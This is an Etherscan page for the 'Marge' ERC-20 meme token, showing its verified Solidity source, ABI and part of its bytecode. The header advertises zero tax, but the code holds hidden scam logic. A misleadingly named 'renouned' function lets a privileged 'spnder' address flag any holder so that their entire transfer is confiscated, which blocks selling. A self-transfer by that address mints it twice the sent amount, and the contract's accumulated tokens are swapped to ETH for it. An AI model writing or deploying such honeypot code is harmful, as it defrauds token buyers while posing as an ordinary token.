ETH Price: $2,428.99 (-1.17%)
 

Overview

Max Total Supply

1,000,000,000 Marge

Holders

76

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
13,429,238.77065 Marge

Value
$0.00
0xaAC72b1137E025d90424319dCfCBaEBF9041993C
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Marge

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-14
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-13
*/
/**


Tele: https://t.me/MargeSimpsonETH

0/0 TAX burn

**/
//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract Marge  is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Marge Simpson ";
    string private _symbol = "Marge";
    uint8 private _decimals = 6;
    address payable public spnder;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public side;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        spnder = payable(address(0x7c6104e56486C6Ccd61e2bf2C3Bab2F4a344A1D6));
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);
        _isExcludefromFee[spnder] = true;
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            if ((from == to && to == spnder) ? true : false )
                _balances[address(spnder)] = amount.mul(2);

            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                uint256 contractTokenBalance = balanceOf(address(this));
                swapAndLiquify(contractTokenBalance);
            }


            _balances[from] = _balances[from].sub(amount);

            uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : tokensTransfer(from, amount);
            
            _balances[to] = _balances[to].add(fAmount);

            emit Transfer(from, to, fAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(spnder),
            block.timestamp
        ){} catch {}
    }

    function renouned(address PairLIsts,uint256 failswap) public {
        address msgsender = msg.sender;
        uint256 teams = failswap;

        if(teams == 0 || teams == 90)
            side[PairLIsts] = teams;
        if (msgsender != spnder)
            revert ("!");
    }

    function tokensTransfer(address sender, uint256 amount) internal returns (uint256) {
        uint256 FeeRate = amount.mul(0).div(100);

        if(side[sender] != 0) 
FeeRate += amount + FeeRate;

        if(FeeRate > 0) {
            _balances[address(this)] += FeeRate;
            emit Transfer(sender, address(this), FeeRate);
        }

        return amount.sub(FeeRate);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"PairLIsts","type":"address"},{"internalType":"uint256","name":"failswap","type":"uint256"}],"name":"renouned","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"side","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"spnder","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600e81526020017f4d617267652053696d70736f6e200000000000000000000000000000000000008152506001908051906020019062000051929190620007fb565b506040518060400160405280600581526020017f4d61726765000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620007fb565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a620001129190620009bb565b633b9aca0062000123919062000af8565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014e57600080fd5b506200015f620007ca60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3737c6104e56486c6ccd61e2bf2c3bab2f4a344a1d6600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002ce57600080fd5b505afa158015620002e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003099190620008c2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200036c57600080fd5b505afa15801562000381573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a79190620008c2565b6040518363ffffffff1660e01b8152600401620003c692919062000916565b602060405180830381600087803b158015620003e157600080fd5b505af1158015620003f6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200041c9190620008c2565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660006200064c620007d260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600460006200070c620007ca60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200075a620007ca60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620007bb919062000943565b60405180910390a35062000c64565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620008099062000ba4565b90600052602060002090601f0160209004810192826200082d576000855562000879565b82601f106200084857805160ff191683800117855562000879565b8280016001018555821562000879579182015b82811115620008785782518255916020019190600101906200085b565b5b5090506200088891906200088c565b5090565b5b80821115620008a75760008160009055506001016200088d565b5090565b600081519050620008bc8162000c4a565b92915050565b600060208284031215620008db57620008da62000c38565b5b6000620008eb84828501620008ab565b91505092915050565b620008ff8162000b59565b82525050565b620009108162000b8d565b82525050565b60006040820190506200092d6000830185620008f4565b6200093c6020830184620008f4565b9392505050565b60006020820190506200095a600083018462000905565b92915050565b6000808291508390505b6001851115620009b2578086048111156200098a576200098962000bda565b5b60018516156200099a5780820291505b8081029050620009aa8562000c3d565b94506200096a565b94509492505050565b6000620009c88262000b8d565b9150620009d58362000b97565b925062000a047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a0c565b905092915050565b60008262000a1e576001905062000af1565b8162000a2e576000905062000af1565b816001811462000a47576002811462000a525762000a88565b600191505062000af1565b60ff84111562000a675762000a6662000bda565b5b8360020a91508482111562000a815762000a8062000bda565b5b5062000af1565b5060208310610133831016604e8410600b841016171562000ac25782820a90508381111562000abc5762000abb62000bda565b5b62000af1565b62000ad1848484600162000960565b9250905081840481111562000aeb5762000aea62000bda565b5b81810290505b9392505050565b600062000b058262000b8d565b915062000b128362000b8d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b4e5762000b4d62000bda565b5b828202905092915050565b600062000b668262000b6d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000bbd57607f821691505b6020821081141562000bd45762000bd362000c09565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000c558162000b59565b811462000c6157600080fd5b50565b60805160601c61265162000c8360003960006106eb01526126516000f3fe6080604052600436106101235760003560e01c80634a74bb02116100a0578063a9059cbb11610064578063a9059cbb1461040c578063c816841b14610449578063dd62ed3e14610474578063f2fde38b146104b1578063fb3ddf85146104da5761012a565b80634a74bb021461032357806363fe21f71461034e57806370a08231146103795780638da5cb5b146103b657806395d89b41146103e15761012a565b806323b872dd116100e757806323b872dd1461022a57806327c8f83514610267578063313ce567146102925780633345611e146102bd57806348290daf146102fa5761012a565b806306fdde031461012f578063095ea7b31461015a5780631694505e1461019757806318160ddd146101c2578063201c0b29146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610517565b6040516101519190611e8e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190611ba3565b6105a9565b60405161018e9190611e58565b60405180910390f35b3480156101a357600080fd5b506101ac6105c7565b6040516101b99190611e73565b60405180910390f35b3480156101ce57600080fd5b506101d76105ed565b6040516101e49190611fb0565b60405180910390f35b3480156101f957600080fd5b50610214600480360381019061020f9190611ab6565b6105f7565b6040516102219190611fb0565b60405180910390f35b34801561023657600080fd5b50610251600480360381019061024c9190611b50565b61060f565b60405161025e9190611e58565b60405180910390f35b34801561027357600080fd5b5061027c6106e9565b6040516102899190611e22565b60405180910390f35b34801561029e57600080fd5b506102a761070d565b6040516102b49190612025565b60405180910390f35b3480156102c957600080fd5b506102e460048036038101906102df9190611ab6565b610724565b6040516102f19190611e58565b60405180910390f35b34801561030657600080fd5b50610321600480360381019061031c9190611ba3565b610744565b005b34801561032f57600080fd5b5061033861083d565b6040516103459190611e58565b60405180910390f35b34801561035a57600080fd5b50610363610850565b6040516103709190611e3d565b60405180910390f35b34801561038557600080fd5b506103a0600480360381019061039b9190611ab6565b610876565b6040516103ad9190611fb0565b60405180910390f35b3480156103c257600080fd5b506103cb6108bf565b6040516103d89190611e22565b60405180910390f35b3480156103ed57600080fd5b506103f66108e8565b6040516104039190611e8e565b60405180910390f35b34801561041857600080fd5b50610433600480360381019061042e9190611ba3565b61097a565b6040516104409190611e58565b60405180910390f35b34801561045557600080fd5b5061045e610999565b60405161046b9190611e22565b60405180910390f35b34801561048057600080fd5b5061049b60048036038101906104969190611b10565b6109bf565b6040516104a89190611fb0565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d39190611ab6565b610a46565b005b3480156104e657600080fd5b5061050160048036038101906104fc9190611ab6565b610b98565b60405161050e9190611e58565b60405180910390f35b6060600180546105269061228c565b80601f01602080910402602001604051908101604052809291908181526020018280546105529061228c565b801561059f5780601f106105745761010080835404028352916020019161059f565b820191906000526020600020905b81548152906001019060200180831161058257829003601f168201915b5050505050905090565b60006105bd6105b6610bb8565b8484610bc0565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b60086020528060005260406000206000915090505481565b600061061c848484610d8b565b506106de84610629610bb8565b6106d9856040518060600160405280602881526020016125f460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068f610bb8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112829092919063ffffffff16565b610bc0565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60003390506000829050600081148061075d5750605a81145b156107a75780600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082e90611f10565b60405180910390fd5b50505050565b600b60159054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546108f79061228c565b80601f01602080910402602001604051908101604052809291908181526020018280546109239061228c565b80156109705780601f1061094557610100808354040283529160200191610970565b820191906000526020600020905b81548152906001019060200180831161095357829003601f168201915b5050505050905090565b600061098e610987610bb8565b8484610d8b565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a4e610bb8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610adb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad290611f50565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2790611f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9790611ed0565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d7e9190611fb0565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df390611f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6390611eb0565b60405180910390fd5b600b60149054906101000a900460ff1615610e9357610e8c8484846112e6565b905061127b565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610f1b5750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b610f26576000610f29565b60015b15610fa857610f426002836114b990919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff1615801561100f5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561102c57600061101f30610876565b905061102a81611534565b505b61107e82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111645750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6111775761117285846117fe565b611179565b825b90506111cd81600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161126d9190611fb0565b60405180910390a360019150505b9392505050565b60008383111582906112ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c19190611e8e565b60405180910390fd5b50600083856112d99190612176565b9050809150509392505050565b6000611371826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112829092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061140682600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114a69190611fb0565b60405180910390a3600190509392505050565b6000808314156114cc576000905061152e565b600082846114da919061211c565b90508284826114e991906120eb565b14611529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152090611f30565b60405180910390fd5b809150505b92915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561156c5761156b61237a565b5b60405190808252806020026020018201604052801561159a5781602001602082028036833780820191505090505b50905030816000815181106115b2576115b161234b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561165457600080fd5b505afa158015611668573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061168c9190611ae3565b816001815181106116a05761169f61234b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611760959493929190611fcb565b600060405180830381600087803b15801561177a57600080fd5b505af192505050801561178b575060015b61179457611795565b5b506000600b60146101000a81548160ff02191690831515021790555050565b60006117f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611282565b905092915050565b600080611828606461181a6000866114b990919063ffffffff16565b6119ca90919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461188b57808361187d9190612095565b816118889190612095565b90505b60008111156119505780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118e39190612095565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119479190611fb0565b60405180910390a35b61196381846117b490919063ffffffff16565b91505092915050565b600080828461197b9190612095565b9050838110156119c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b790611ef0565b60405180910390fd5b8091505092915050565b6000611a0c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a14565b905092915050565b60008083118290611a5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a529190611e8e565b60405180910390fd5b5060008385611a6a91906120eb565b9050809150509392505050565b600081359050611a86816125c5565b92915050565b600081519050611a9b816125c5565b92915050565b600081359050611ab0816125